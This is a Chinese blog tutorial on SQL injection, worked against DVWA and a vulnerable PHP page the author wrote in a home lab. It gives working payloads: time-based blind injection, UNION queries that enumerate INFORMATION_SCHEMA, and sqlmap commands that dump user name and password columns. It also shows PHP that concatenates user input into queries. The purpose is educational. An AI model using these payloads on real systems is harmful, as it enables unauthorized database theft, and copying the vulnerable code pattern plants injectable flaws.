web安全学习笔记(四) SQL注入之二

在上一章中,描述了如何进行SQL注入,以及SQL注入的思路。那么怎么发现一个地方是否可能是SQL注入点呢?
第一种方法:
再之前搭建的OWASP靶机中,选择Damn Vulnerable Web Application 这个应用,账户名为admin,密码也为admin。登陆成功后,选择SQL 注入的页面:
在这里插入图片描述
我们可以看到,这里是一个用户用户查询的界面,输入用户的id,会返回相应的用户信息。点击查看源代码:

SQL Injection Source
<?php    

if(isset($_GET['Submit'])){
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

我们可以看到,关键的SQL语句在这里:

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

此时,如果我们输入一个‘:
在这里插入图片描述
这里提示有错误,那么说明可能是存在注入漏洞的。
然而,在上面的代码中,对错误进行了处理:

$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

当发生错误时,会提示错误信息。但是有的代码并不会提示错误信息,比如上一篇文章中写的代码。这时如果在搜索框输入单引号,并不会提示错误任何信息。
在这里插入图片描述
这是可以用到基于时间的盲注,在查询栏中输入:
a’ and sleep(5)#
如何存在注入漏洞,那么网页会睡眠五秒后再次运行:
在这里插入图片描述
当发现注入点以后,攻击者可能会选择拖库。但是我们知道,在操作数据库的时候,需要知道数据库中到底有哪些库?又有哪些表?表中有哪些字段?如果没办法知道这些信息,是无法查询信息。
在使用数据库客户端时,常常用到show databases,show tables 等命令,然后在注入点中,sql语句是完全写好的,例如:

$sql = "select * from user where name = '$name'";

在这条sql语句中,我们只能改变name字段的信息,或者说name 变量的值,若我们使用show databases或是show tables指令,那么这条sql语句就变成了:

select * from user where name = 'show databases';

代码执行的结果即为查询用户名为“show databases”的信息,所以肯定是查不到的。
那么如何查询数据库名和表名呢?在MySQL5.0以及以上版本中,提供了INFORMATION_SCHEMA 数据库,其中记录了所有的数据库信息,表信息,以及列信息,通过查询这个数据库,就可以获得需要知道的内容了。
例如:

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA;

可以查询数据库的内容,只要把这条sql语句使用union联合,就能得知我们想要的信息了。
通过SQL注入查询所有数据库信息:
在输入框输入: ’ union select SCHEMA_NAME,null from INFORMATION_SCHEMA.SCHEMATA#
即为显示所有数据库的信息:
在这里插入图片描述
当然也可以查询所有表的信息:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES#

在这里插入图片描述
查询当前数据库中的所有表:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select database())#
在这里插入图片描述
也可以查询指定表的所有字段:
’ union select COLUMN_NAME,null from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘user’#
在这里插入图片描述
在这个窗口的服务器中,select语句只包括了两个字段,那么在union select 查询的时候,也只能跟两个字段,带来了极大的不便利。但是可以使用concat_ws()函数对字符串进行连接:
’ union select concat_ws(@@datadir, @@basedir, user(), current_user()),null#
在这里插入图片描述
在SQL注入中,以自动注入为主,手动注入为辅。提到自动注入,不得不提到一个非常有名的SQL注入工具——sqlmap。
sqlmap 是用一款开源的,python开发的sql注入工具。
sqlmap
请注意!根据中国网络安全法,无论出于什么目的,在没有对方书面授权的情况下,请不要私自扫描他人网站的漏洞!
windows系统下,使用python sqlmap.py -h显示指令:
在这里插入图片描述
常用的参数有,–dbms 指定数据库的种类,例如MySQL,SQLServer, Oracle等等,–dump 下载数据库等等。为了演示sqlmap,我们新建一个index2.php文件在文件夹下,不需要cookie的判断,并且将post方法改为get方法。

<!DOCTYPE html>
<html lang="en">
<head>
    <title> Hello World! </title>
    <meta charset="UTF-8">
</head>
<body>
<form name="input" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
    user: <br /><label>
        <input type="text" name="username">
        <input type="submit" value="query">
    </label><br>

</form>

<?php
$conn = new mysqli("localhost","phpadmin","ppzz4869","PHP");
if ($conn->connect_error){
    echo "connection fail";
}
$name = $_GET['username'];
$sql = "select * from user where name = '$name'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
    while ($row = $res->fetch_row()){
        echo $row[0], "\t";
    }
} else {
    echo "no such user";
}
?>

</body>
</html>

当我们查询用户a时,可以看到地址栏显示:
http://192.168.85.128/index2.php?username=a
这里问号后的内容代表传参,将a传给username。接下来测试sqlmap:

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql

在这里插入图片描述
程序执行完成后显示,MySQL的版本大于5.0.12, 并且支持时间盲注,布尔盲注和union查询。代码执行完成后,数据也被保存到了本地。使用参数–dbs可以获取数据库。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --dbs

在这里插入图片描述
可用的数据库有两个,PHP和information_schema。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --tables -D "PHP"

列出PHP库中的所有表
在这里插入图片描述
可以看到PHP库中只有一个user表格

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --columns -T "user" -D "PHP"

列出user表中的所有字段名
在这里插入图片描述
当然也可以加入–dump参数,将数据库的内容下载到本地。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dump -C "name,psw" -T "user" -D "PHP"

下载完成后:
在这里插入图片描述
在这里插入图片描述
dump下来的内容在output文件夹下,以csv的格式存储。
当然,除了get模式,sqlmap同时也支持post模式的sql注入。
在访问页面的过程中,使用burp抓包(burp抓包以后有机会详细写),将内容以txt的形式保存到本地:

POST /index.php HTTP/1.1
Host: 192.168.85.128
Content-Length: 11
Cache-Control: max-age=0
Origin: http://192.168.85.128
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.85.128/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,zh-CN;q=0.6
Cookie: username=a
Connection: close

username=aa

保存成功以后,运行sqlmap:

python sqlmap.py -r "C:\Users\tong\post.txt" --dbms=mysql --batch

在这里插入图片描述
运行结束后,发现可以进行注入。

发布了4 篇原创文章 · 获赞 6 · 访问量 1505

猜你喜欢

转载自blog.csdn.net/qycc3391/article/details/104475522
今日推荐